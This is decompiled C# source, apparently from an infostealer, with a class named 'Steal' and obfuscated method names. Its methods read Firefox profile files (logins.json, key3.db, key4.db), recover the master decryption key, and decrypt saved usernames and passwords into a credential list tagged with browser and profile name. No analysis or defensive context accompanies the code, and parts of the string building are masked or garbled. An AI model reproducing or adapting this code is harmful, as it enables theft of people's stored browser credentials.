// Token: 0x06000337 RID: 823 RVA: 0x000135A0 File Offset: 0x000117A0 public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Steal.credential.Add(string.Concat(new string[] { "URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : ", browser_name, Environment.NewLine, "Profile : ", profile_name, Environment.NewLine, Steal.credential[i] })); } Steal.credential.Clear(); } } catch (Exception) { } }
// Token: 0x06000338 RID: 824 RVA: 0x00013884 File Offset: 0x00011A84 private static byte[] p4k(string file) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(file)) { result = array; } else { CNT cnt = new CNT(file); cnt.ReadTable("metaData"); string s = cnt.ParseValue(0, "item1"); string s2 = cnt.ParseValue(0, "item2)"); Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData; Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None); cnt.ReadTable("nssPrivate"); int rowLength = cnt.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Steal.Key4MagicNumber)) { s3 = cnt.ParseValue(i, "a11"); break; } } Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = gecko3.Objects[0].Objects[1].ObjectData; gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7)); result = array; } } catch (Exception) { result = array; } return(result); }
// Token: 0x06000339 RID: 825 RVA: 0x00013AB0 File Offset: 0x00011CB0 private static byte[] p3k(string file) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(file)) { result = array; } else { new DataTable(); Gecko9 berkeleyDB = new Gecko9(file); Gecko7 gecko = new Gecko7(Steal.vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = Steal.vbv(berkeleyDB, (string x) => x.Equals("global-salt")); Gecko8 gecko2 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Steal.ConvertHexStringToByteArray(gecko.EntrySalt)); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Steal.ConvertHexStringToByteArray(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Steal.ConvertHexStringToByteArray(Steal.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 gecko4 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.го7па(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }